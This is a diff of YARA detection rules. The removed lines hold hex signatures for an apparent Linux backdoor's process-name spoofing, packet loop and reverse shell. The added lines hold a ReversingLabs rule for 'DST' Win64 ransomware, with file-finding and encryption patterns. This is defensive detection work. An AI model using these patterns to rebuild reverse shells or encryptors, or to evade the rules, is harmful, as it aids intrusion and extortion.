?? 48 8D 48 ?? 8B 05 ?? ?? ?? ?? 48 89 CE 89 C7 E8 ?? ?? ?? ?? 89 45 ?? E9 ?? - ?? ?? ?? 8B 45 ?? 48 63 D0 8B 05 ?? ?? ?? ?? 48 8B 4D ?? 48 89 CE 89 C7 E8 ?? ?? ?? - ?? 48 85 C0 0F 8F ?? ?? ?? ?? EB ?? 90 EB ?? 90 EB ?? 90 EB ?? 90 8B 85 ?? ?? ?? ?? - 89 C7 E8 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 89 C7 E8 - } - $set_process_name_v1_p1 = { - 55 48 89 E5 48 83 EC ?? 89 7D ?? 48 89 75 ?? 48 89 55 ?? 48 C7 45 ?? ?? ?? ?? ?? 48 - C7 45 ?? ?? ?? ?? ?? 48 C7 45 ?? ?? ?? ?? ?? 48 8B 45 ?? 48 8B 00 48 89 05 ?? ?? ?? - ?? C7 45 ?? ?? ?? ?? ?? EB ?? 48 8B 05 ?? ?? ?? ?? 8B 55 ?? 48 63 D2 48 C1 E2 ?? 48 - 01 D0 48 8B 00 48 89 C7 E8 ?? ?? ?? ?? 48 03 45 ?? 48 83 C0 ?? 48 89 45 ?? 83 45 ?? - ?? 48 8B 05 ?? ?? ?? ?? 8B 55 ?? 48 63 D2 48 C1 E2 ?? 48 01 D0 48 8B 00 48 85 C0 75 - ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 83 7D ?? ?? 75 ?? B8 ?? ?? ?? - ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 8B 55 ?? - 48 63 D2 48 C1 E2 ?? 48 01 D0 48 8B 00 48 89 C7 E8 ?? ?? ?? ?? 48 8D 50 ?? 48 8B 05 - ?? ?? ?? ?? 8B 4D ?? 48 63 C9 48 C1 E1 ?? 48 01 C8 48 8B 08 48 8B 45 ?? 48 89 CE 48 - 89 C7 E8 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 8B 55 ?? 48 63 D2 48 C1 E2 ?? 48 8D 14 10 - 48 8B 45 ?? 48 89 02 48 8B 05 ?? ?? ?? ?? 8B 55 ?? 48 63 D2 48 C1 E2 ?? 48 01 D0 48 - } - $set_process_name_v1_p2 = { - 8B 00 48 89 C7 E8 ?? ?? ?? ?? 48 83 C0 ?? 48 01 45 ?? 83 45 ?? ?? 48 8B 05 ?? ?? ?? - ?? 8B 55 ?? 48 63 D2 48 C1 E2 ?? 48 01 D0 48 8B 00 48 85 C0 0F 85 ?? ?? ?? ?? 48 8B - 45 ?? 48 8B 00 48 89 45 ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B 45 ?? 48 98 48 C1 E0 ?? 48 - 03 45 ?? 48 8B 00 48 89 C7 E8 ?? ?? ?? ?? 48 83 C0 ?? 48 01 45 ?? 83 45 ?? ?? 8B 45 - ?? 3B 45 ?? 7C ?? C7 45 ?? ?? ?? ?? ?? EB ?? 48 8B 05 ?? ?? ?? ?? 8B 55 ?? 48 63 D2 - 48 C1 E2 ?? 48 01 D0 48 8B 00 48 89 C7 E8 ?? ?? ?? ?? 48 83 C0 ?? 48 01 45 ?? 83 45 - ?? ?? 48 8B 05 ?? ?? ?? ?? 8B 55 ?? 48 63 D2 48 C1 E2 ?? 48 01 D0 48 8B 00 48 85 C0 - 75 ?? 48 8B 55 ?? 48 8B 05 ?? ?? ?? ?? 48 89 D1 48 29 C1 48 89 C8 48 89 C2 48 8B 05 - ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8B 55 ?? 48 8B 05 ?? ?? ?? ?? - 48 89 D1 48 29 C1 48 89 C8 48 89 C2 48 8B 4D ?? 48 8B 05 ?? ?? ?? ?? 48 89 CE 48 89 - C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C6 BF ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? - B8 ?? ?? ?? ?? C9 C3 - } - $packet_loop_v2_p1 = { - 55 89 E5 57 81 EC ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 8D ?? ?? - ?? ?? BA ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 44 24 ?? 89 54 24 ?? 89 0C 24 E8 ?? ?? ?? ?? - 66 C7 85 ?? ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 0F B7 C0 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 8E ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 85 ?? - ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 - 24 E8 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? 89 C2 B8 ?? ?? - ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 14 24 E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? - ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 - ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 - ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? 89 45 ?? 8B 45 ?? 0F B6 00 0F B6 C0 83 E0 ?? C1 E0 ?? - 89 45 ?? 83 7D ?? ?? 0F 8E ?? ?? ?? ?? 8B 45 ?? 0F B6 40 ?? 0F B6 C0 89 85 ?? ?? ?? - ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 83 BD ?? ?? ?? ?? ?? 74 ?? - EB ?? 8D 85 ?? ?? ?? ?? 8D 50 ?? 8B 45 ?? 8D 04 02 89 45 ?? 8B 45 ?? 0F B6 40 ?? 0F - B6 C0 25 ?? ?? ?? ?? C1 F8 ?? C1 E0 ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 8D 50 ?? 8B 45 ?? - 01 C2 8B 45 ?? 8D 04 02 89 45 ?? EB ?? 8B 45 ?? 83 C0 ?? 89 45 ?? 8B 45 ?? 83 C0 + + condition: + uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( $encrypt_files ) +} +rule REVERSINGLABS_Win64_Ransomware_DST : TC_DETECTION MALICIOUS MALWARE FILE +{ + meta: + description = "Yara rule that detects DST ransomware." + author = "ReversingLabs" + id = "bcc9933d-14eb-5f83-a136-5f009c7a3282" + date = "2021-12-06" + modified = "2021-12-06" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win64.Ransomware.DST.yara#L1-L170" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "b658093232a2265d425e3b38758268c116bbac51fa5eed372b5b4f00de4c6880" + score = 75 + quality = 90 + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "DST" + tc_detection_factor = 5 + importance = 25 + + strings: + $encrypt_files_p1 = { + 4C 8D A4 24 ?? ?? ?? ?? 4D 3B 66 ?? 0F 86 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 89 AC + 24 ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? + ?? 48 89 BC 24 ?? ?? ?? ?? 44 0F 11 BC 24 ?? ?? ?? ?? 48 85 DB 0F 84 ?? ?? ?? ?? 48 + 89 9C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 BC 24 ?? ?? ?? ?? 48 89 4C 24 ?? + 31 C9 31 FF E8 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 85 DB + 0F 85 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 44 0F 11 BC 24 ?? ?? ?? ?? 48 8D 0D ?? ?? + ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? + ?? 48 8D 8C 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? 0F 1F 00 + E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 31 C0 48 8B 9C 24 ?? ?? ?? ?? 48 8B 8C 24 ?? + ?? ?? ?? 48 8D 3D ?? ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? BF ?? ?? + ?? ?? E8 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 85 DB 0F 85 + ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 44 0F 11 BC 24 ?? ?? ?? ?? 48 8D 0D } - $packet_loop_v2_p2 = { - 89 45 ?? EB ?? 8B 45 ?? 83 C0 ?? 89 45 ?? 8B 45 ?? 83 C0 ?? 89 45 ?? 83 7D ?? ?? 0F - 84 ?? ?? ?? ?? 8B 45 ?? 8B 40 ?? 83 F8 ?? 75 ?? 8B 45 ?? 8B 40 ?? 89 45 ?? EB ?? 8B - 45 ?? 8B 40 ?? 89 45 ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? C7 44 24 ?? ?? ?? - ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? C7 45 - ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? - ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 - 85 9C FC FF FF 2F C6 85 9D FC FF FF 75 C6 85 9E FC FF FF 73 C6 85 9F FC FF FF 72 C6 - 85 A0 FC FF FF 2F C6 85 A1 FC FF FF 6C C6 85 A2 FC FF FF 69 C6 85 A3 FC FF FF 62 C6 - 85 A4 FC FF FF 65 C6 85 A5 FC FF FF 78 C6 85 A6 FC FF FF 65 C6 85 A7 FC FF FF 63 C6 - 85 A8 FC FF FF 2F C6 85 A9 FC FF FF 70 C6 85 AA FC FF FF 6F C6 85 AB FC FF FF 73 C6 - 85 AC FC FF FF 74 C6 85 AD FC FF FF 66 C6 85 AE FC FF FF 69 C6 85 AF FC FF FF 78 C6 - 85 B0 FC FF FF 2F C6 85 B1 FC FF FF 6D C6 85 B2 FC FF FF 61 C6 85 B3 FC FF FF 73 C6 - 85 B4 FC FF FF 74 C6 85 B5 FC FF FF 65 C6 85 B6 FC FF FF 72 C6 85 B7 FC FF FF ?? E8 - ?? ?? ?? ?? 85 C0 74 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 44 24 - ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 - 85 ?? ?? ?? ?? B8 ?? ?? ?? ?? FC 8B BD ?? ?? ?? ?? F2 AE 89 C8 F7 D0 8D 50 ?? A1 ?? - ?? ?? ?? 89 C7 FC 89 D1 B8 ?? ?? ?? ?? F3 AA 8B 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 + $encrypt_files_p2 = { + 48 89 8C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 48 8D 8C 24 + ?? ?? ?? ?? 48 89 4C 24 ?? 48 8D 44 24 ?? E8 ?? ?? ?? ?? 90 85 C0 0F 85 ?? ?? ?? ?? + 48 8D 05 ?? ?? ?? ?? BB ?? ?? ?? ?? 48 89 D9 E8 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? + BB ?? ?? ?? ?? 48 89 D9 E8 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? + ?? 48 85 DB 0F 85 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? BB ?? ?? ?? ?? 48 89 D9 E8 ?? + ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 BC 24 ?? ?? ?? ?? 48 85 C9 0F 85 ?? ?? ?? ?? + 48 89 5C 24 ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8B 51 ?? 48 8B 84 24 ?? ?? + ?? ?? FF D2 48 8B 0D ?? ?? ?? ?? 83 B9 ?? ?? ?? ?? ?? 75 ?? 48 89 C2 48 C1 E0 ?? 48 + 8D 70 ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 D1 48 F7 EE 48 8D 14 CA 48 8D 52 ?? 48 } - $packet_loop_v2_p3 = { - 44 24 ?? 89 14 24 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? C7 04 24 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 8B 45 ?? 83 C0 ?? B9 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? B8 ?? ?? ?? ?? FC - 8B BD ?? ?? ?? ?? F2 AE 89 C8 F7 D0 83 E8 ?? 89 C2 8B 45 ?? 83 C0 ?? C7 44 24 ?? ?? - ?? ?? ?? 89 54 24 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 83 C0 ?? B9 ?? ?? ?? ?? 89 85 - ?? ?? ?? ?? B8 ?? ?? ?? ?? FC 8B BD ?? ?? ?? ?? F2 AE 89 C8 F7 D0 83 E8 ?? 89 C2 8B - 45 ?? 83 C0 ?? C7 44 24 ?? ?? ?? ?? ?? 89 54 24 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? - 83 C0 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? - ?? ?? 74 ?? 83 BD ?? ?? ?? ?? ?? 74 ?? E9 ?? ?? ?? ?? 8B 45 ?? 8B 40 ?? 89 04 24 E8 - ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 0F B7 40 - ?? 0F B7 C0 89 04 24 E8 ?? ?? ?? ?? 0F B7 C0 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 - E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 45 ?? 8B 40 ?? 83 F8 ?? 74 ?? 8B 45 ?? 8B 40 ?? 85 - C0 74 ?? 8B 45 ?? 8B 40 ?? 89 45 ?? 8B 45 ?? C7 40 ?? ?? ?? ?? ?? 8B 45 ?? C7 00 ?? - ?? ?? ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? EB ?? 8B 45 ?? 0F B7 - 40 ?? 0F B7 C0 89 44 24 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 7E - ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 + $encrypt_files_p3 = { + C1 FA ?? 48 C1 FE ?? 48 29 F2 EB ?? 48 8D 70 ?? 48 89 C1 48 B8 ?? ?? ?? ?? ?? ?? ?? + ?? 48 F7 EE 48 8D 14 0A 48 8D 52 ?? 48 D1 FA 48 C1 FE ?? 48 29 F2 48 C1 E2 ?? 48 8D + 4A ?? 48 89 4C 24 ?? 48 8D 05 ?? ?? ?? ?? 48 89 CB E8 ?? ?? ?? ?? 48 89 C3 48 8B 4C + 24 ?? 48 89 CF 48 8B 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 + 8C 24 ?? ?? ?? ?? 48 85 DB 0F 85 ?? ?? ?? ?? 31 C0 48 8B 9C 24 ?? ?? ?? ?? 48 8B 4C + 24 ?? 48 8D 3D ?? ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 D9 48 89 C3 48 8B 84 + 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 85 + DB 0F 85 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? BB ?? ?? ?? ?? 48 89 D9 31 FF 48 8B 74 + 24 ?? 4C 8B 84 24 ?? ?? ?? ?? 4C 8D 0D ?? ?? ?? ?? 4C 8B 94 24 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 66 0F 1F 44 00 ?? 48 85 DB 0F + 85 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 C3 48 8D 0D ?? ?? ?? ?? 48 8B BC 24 ?? + ?? ?? ?? 31 F6 45 31 C0 4D 89 C1 48 8D 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 9C 24 ?? + ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 84 24 + ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 85 C0 0F 85 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? + ?? 31 DB 31 C9 E8 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 85 + DB 74 ?? 90 E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B AC + 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 48 8B 94 24 ?? ?? ?? ?? 48 8B 72 ?? 48 8B 42 + ?? 48 8B 56 ?? 31 DB 31 C9 48 89 CF FF D2 48 8B 15 ?? ?? ?? ?? 48 89 CF 48 89 D9 48 } - $reverse_shell_v2_p1 = { - 8D 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? - ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 85 - ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 89 04 24 E8 ?? - ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? - C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? - E8 ?? ?? ?? ?? 85 C0 75 ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? - C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B - 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 44 - 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? B8 - ?? ?? ?? ?? 89 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F - 85 ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 44 24 ?? ?? - ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 - 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? - 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? - ?? A1 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? - ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 04 24 + $encrypt_files_p4 = { + 89 C3 48 89 D0 E8 ?? ?? ?? ?? 48 89 D9 48 89 C3 48 8B 84 24 ?? ?? ?? ?? 0F 1F 40 ?? + E8 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 90 E8 ?? ?? ?? ?? 48 + 8B 84 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? + ?? ?? C3 90 0F 1F 40 ?? E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? + ?? 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 90 E8 ?? ?? ?? ?? 48 8B 84 24 ?? + ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 90 + E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? + ?? 48 81 C4 ?? ?? ?? ?? C3 90 E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 9C 24 ?? + ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 90 E8 ?? ?? ?? ?? 48 8B 84 + 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? + C3 90 66 90 E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B AC + 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 90 E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 + 8B 9C 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 90 E8 ?? ?? ?? + ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 + ?? ?? ?? ?? C3 90 E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 + 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 90 E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? + ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 90 66 90 + E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? + ?? 48 81 C4 ?? ?? ?? ?? C3 48 89 44 24 ?? 48 89 5C 24 ?? 48 89 4C 24 ?? 48 89 7C 24 + ?? E8 } - $reverse_shell_v2_p2 = { - E8 ?? ?? ?? ?? EB ?? B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D BD ?? ?? ?? ?? FC F3 AB 89 4D - ?? 89 7D ?? A1 ?? ?? ?? ?? 89 C2 C1 EA ?? A1 ?? ?? ?? ?? 83 E0 ?? 0F AB 84 95 ?? ?? - ?? ?? 8B 45 ?? 89 C2 C1 EA ?? 8B 45 ?? 83 E0 ?? 0F AB 84 95 ?? ?? ?? ?? A1 ?? ?? ?? - ?? 3B 45 ?? 7E ?? A1 ?? ?? ?? ?? 83 C0 ?? 89 85 ?? ?? ?? ?? EB ?? 8B 45 ?? 83 C0 ?? - 89 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? - ?? ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 8D ?? ?? ?? ?? 89 0C 24 E8 ?? ?? ?? ?? 85 C0 - 0F 88 ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 C2 83 E2 ?? A1 ?? ?? ?? ?? C1 E8 ?? 0F A3 94 85 - ?? ?? ?? ?? 0F 92 C0 84 C0 74 ?? A1 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 95 ?? ?? - ?? ?? 89 54 24 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 8E ?? ?? ?? ?? 8B - 45 ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 85 - C0 0F 8E ?? ?? ?? ?? 8B 45 ?? 89 C2 83 E2 ?? 8B 45 ?? C1 E8 ?? 0F A3 94 85 ?? ?? ?? - ?? 0F 92 C0 84 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 45 ?? C7 44 24 ?? ?? ?? ?? - ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? - ?? 0F 8E ?? ?? ?? ?? 8B 45 ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? - 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 8B 55 ?? 8D 85 ?? ?? - ?? ?? 29 C2 8B 45 ?? 29 D0 89 45 ?? 83 7D ?? ?? 7E ?? C7 45 ?? ?? ?? ?? ?? 8B 4D ?? - 8D 85 ?? ?? ?? ?? 8B 55 ?? 89 C7 89 D6 FC F3 A4 83 7D ?? ?? 7F ?? B8 ?? ?? ?? ?? 89 + $find_files_p1 = { + 4C 8D A4 24 ?? ?? ?? ?? 4D 3B 66 ?? 0F 86 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 89 AC + 24 ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? + ?? 48 89 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 DB 7E ?? 48 89 5C 24 ?? 31 C9 EB ?? + 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 48 8B 9C 24 ?? ?? ?? ?? 48 8D 43 ?? + 48 89 4C 24 ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 10 48 89 54 24 ?? 48 8B 58 ?? 48 89 5C + 24 ?? 48 8B 72 ?? 48 89 D8 FF D6 48 89 84 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 + 8B 8C 24 ?? ?? ?? ?? 48 8D 3D ?? ?? ?? ?? BE ?? ?? ?? ?? 49 89 C0 49 89 D9 31 C0 48 + 8B 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 44 24 ?? 48 89 5C 24 ?? 48 8B 4C 24 ?? 48 + 8B 51 ?? 48 8B 44 24 ?? FF D2 48 89 84 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 8D + 4B ?? 66 90 E9 ?? ?? ?? ?? 48 29 CB 48 89 DA 48 F7 DB 48 C1 FB ?? 48 21 D9 48 01 C1 + 48 89 8C 24 ?? ?? ?? ?? 48 89 94 24 ?? ?? ?? ?? EB ?? 31 D2 31 C9 48 89 C8 48 89 D3 + E8 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? + 48 8B 3D ?? ?? ?? ?? 48 8B 35 ?? ?? ?? ?? 66 90 E8 ?? ?? ?? ?? 84 C0 74 ?? 48 8D BC + 24 ?? ?? ?? ?? 48 8D 35 ?? ?? ?? ?? 0F 1F 84 00 ?? ?? ?? ?? 48 89 6C 24 ?? 48 8D 6C } - $reverse_shell_v2_p3 = { - C1 2B 4D ?? 8B 45 ?? 89 C2 8D 85 ?? ?? ?? ?? 01 D0 89 4C 24 ?? 89 44 24 ?? 8B 45 ?? - 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 66 C7 85 ?? ?? ?? ?? ?? ?? 0F B7 85 ?? ?? ?? ?? 66 - 89 85 ?? ?? 